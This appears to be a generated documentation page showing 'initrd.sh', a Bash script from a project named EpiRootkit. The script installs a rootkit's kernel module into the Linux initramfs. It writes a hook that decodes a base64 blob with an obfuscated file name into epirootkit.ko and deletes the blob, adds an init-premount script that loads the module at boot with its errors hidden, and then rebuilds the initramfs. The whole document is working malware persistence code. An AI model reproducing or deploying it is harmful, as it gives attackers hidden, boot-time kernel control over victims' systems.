EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
initrd.sh
Go to the documentation of this file.
1#!/usr/bin/env bash
2set -e
3
4BLOB_SRC="/lib/epirootkit/cH0c01AtcG9ydC1rZXlzLmNv"
5
6HOOK_DIR="/etc/initramfs-tools/hooks"
7HOOK_PATH="$HOOK_DIR/epirootkit"
8mkdir -p "$HOOK_DIR"
9cat > "$HOOK_PATH" << 'EOF'
10#!/bin/sh
11set -e
12
13PREREQ=""
14prereqs() { echo "$PREREQ"; }
15case "$1" in
16 prereqs) prereqs && exit 0 ;;
17esac
18
19mkdir -p "${DESTDIR}/sbin"
20ln -s /bin/kmod "${DESTDIR}/sbin/insmod"
21
22mkdir -p "${DESTDIR}/lib/epirootkit"
23install -m644 /lib/epirootkit/cH0c01AtcG9ydC1rZXlzLmNv "${DESTDIR}/lib/epirootkit/cH0c01AtcG9ydC1rZXlzLmNv"
24
25base64 -d "${DESTDIR}/lib/epirootkit/cH0c01AtcG9ydC1rZXlzLmNv" > "${DESTDIR}/lib/epirootkit/epirootkit.ko"
26rm -f "${DESTDIR}/lib/epirootkit/cH0c01AtcG9ydC1rZXlzLmNv"
27EOF
28
29chmod +x "$HOOK_PATH"
30
31LOAD_DIR="/etc/initramfs-tools/scripts/init-premount"
32LOAD_PATH="$LOAD_DIR/epirootkit-load"
33mkdir -p "$LOAD_DIR"
34cat > "$LOAD_PATH" << 'EOF'
35#!/bin/sh
36/sbin/insmod /lib/epirootkit/epirootkit.ko 2> /tmp/insmod.err || true
37EOF
38
39chmod +x "$LOAD_PATH"
40
41update-initramfs -u -k "$(uname -r)"